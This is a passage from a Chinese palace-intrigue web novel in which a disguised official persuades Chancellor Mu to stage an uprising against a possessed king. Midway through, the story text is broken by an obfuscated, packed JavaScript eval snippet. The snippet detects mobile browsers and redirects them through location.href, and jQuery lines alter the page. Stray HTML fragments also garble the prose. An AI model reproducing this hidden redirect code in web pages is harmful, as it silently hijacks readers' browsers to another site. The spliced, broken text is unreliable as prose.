“我是大夫,刚才有人请我到这里来看伤。”
不紧不慢的声音响起,来人身上沾着药香,背上还背着一个放满草药的布袋。
看上去的确是大夫。
两个小兵连忙将人迎进屋中,对方掀开慕丞相的鞋袜看了看,便道,“有劳二位去烧些热水,再准备干净的布巾,在下先放血看看。”
小兵闻言也一迭声地应下,又连忙小跑着离开。
直到房门被关上,外面的声音也听不到了,慕丞相才沉沉发声,“你怎么来了?”
一边说着话,他一边将自己完好无损的脚踝从谢无咎手里抽了出去。
谢无咎半蹲在地上,一身大夫装扮,语气里带着笑,“没想到我和相爷想到了一处去,也好,免得我下手没轻没重,当真伤了相爷。”
慕丞相的嘴角忍不住抽了抽。
合着他今天必须得摔这一跤!
谢无咎还在慢悠悠地说着话,“既然慕相也是这个心思,那咱们就可以节省时间了——您接下来打算怎么办?”
闻言,慕丞相却又沉默了下去,足足等了十几息的功夫才重新开口。
“王上日后只能这样了,是不是?”
虽然是问句,但慕丞相的语气里已经带上了绝望的笃定。
“您心里的那个王上已经不会再出现了。”谢无咎停顿一瞬,话说得没有半分转圜的余地。
现在的南疆王就是天问秃驴,如果有朝一日,天问那秃驴解除了对南疆王的控制,那出现在他们面前的便只能是一具尸体。
慕丞相闭了闭眼,再睁开时,神情一片清明。
“方才在城墙上的事情你也看到了吧,守将宋鹏不能算是慕家的人,但受过慕家的帮助,为人也正直。”
“他去往宫中,见识了王上现在的模样之后,想必会有所怀疑,但不一定就会动摇。”
“如果不成,还请谢大人帮一把手。”
慕相眼中闪着微光,神情却多少还是有些灰暗。
若不是南疆王这般过河拆桥,他也不想利用宋鹏这样的无辜之人。
“我的人会在半路截杀那些小太监。”
谢无咎这时候却忽然出了声,听着这话,慕相猛地抬起了脑袋,“!”
“他们会做成是那些凶徒所为,”谢无咎的眼睛无比平静,“而这个消息传到宫中,南疆王会将这件事情算在您的头上。”
“你怎么敢肯定?”慕丞相背上一凉,他知道王上做得出来。
谢无咎却一笑,“目击证人里也有我的手下。”
慕丞相:“……”
“置之死地而后生。”
谢无咎又压低了几分声音,认真地望着慕丞相。
“慕家在王都做了什么,大家有目共睹,南疆王凭着一己喜好就要赶尽杀绝,这样的做法只会寒了所有人的心,也让王都的高门大户人人自危。”
“当下一个随时有可能是自己的时候,每个人都会有所行动,那个时候才是相爷您的机会。”
慕丞相的眉头越发皱紧。
“王上膝下无子,王庭中的成员也没有可塑之才,这一步好走,可之后该怎么办?”
这才是他犹豫不决的症结所在。
南疆王不在王宫的那段时间,皇侄理政更是乱七八糟。
“我说的不是南家。”
谢无咎又笑了笑,“南家没人能挑大梁,换成谁都一样,不能解决实际问题。”
慕丞相闻言一怔,还没开口,就听到谢无咎道,“我要支持的是慕家。”
“你!”
慕丞相猛地站起身来,难以置信地望着眼前的年轻男子。
“相爷这么激动干什么?”谢无咎的表情依旧平和,“您不会是要说自己没有这样的想法吧?那您的那些准备,都是干什么的?去游山玩水的时候防山贼吗?”
“……你怎么知道?”
忽略了他的调侃,慕丞相的表情有些难看。
他做了两手准备,一直藏得死死的,谁也不知道!
“天问秃驴。”
谢无咎哼笑一声,吐出一个名字。
接触慕家人之后,他便让谢三去查查慕家的情况,却十分顺畅地查到了慕相屯兵,私炼精铁的一系列证据。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320256|167772||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>说天问那秃驴没有在其中插手,谢无咎是万万不信的。
“他在逼您主动起事,这样一来,才有正当的理由对慕家动手。”
现在朝中众人看见了南疆王主动针对慕家无妨,等慕丞相真的受不住领兵起事,一切罪责都会自动落回到慕家身上。
“您若是不动手,那他就继续铲除慕家在王都的势力,这笔买卖,稳赚不亏。”
谢无咎笑意凉薄,慕丞相更是感觉手脚冰凉,连一点儿力气都用不上了。
“这个秃驴!竟然如此狼子野心!”
慕丞相替女儿调查了不少有关天问的事情,明显是被这秃驴记恨上了。
“慕家是他最大的障碍,等扫除了慕家,王都还有谁想反抗他,事先都得掂量掂量。”谢无咎抬手在慕丞相肩膀上拍了拍,“慕相,您不仅是为了慕家,为的也是王都,再说得大些,为的是南疆的百姓。”
天问秃驴穿着南疆王的外皮,身为一国之君,想做什么都自由。
而他私下那些妖魔鬼怪的勾当,若是被用在南疆百姓们的身上,又该如何是好?
慕丞相打了个冷颤,却攥住了谢无咎的手。
“你跟我说这些,又拱慕家上位,你想要什么?”他眼神警惕。
慕丞相并没有忘记,眼前的这位是大梁的九千岁!
南疆乱起来,他岂不是也能分一杯羹?
“慕相果然思虑周全。”
谢无咎笑着,眼底依旧没有多少温度。
“我的确有所求,也会尽全力助慕相一臂之力,若是慕相这一次能成功,在下有两个要求。”
“一,尽力追杀天问秃驴的所有势力,不能轻易放过;二,他日天问秃驴重回大梁作乱,还请慕相同样对我们施以援手。”
这就是要两国结盟的意思了。
慕丞相的眼神依旧乌沉沉的,“这样的事情,你能做主?”
若是他没记错的话,大梁眼下已经快要乱成一锅粥了吧。
谢无咎扯了扯嘴角,附在慕丞相耳边低语几句。
慕丞相顿时又瞪大了双眼,“此话当真?”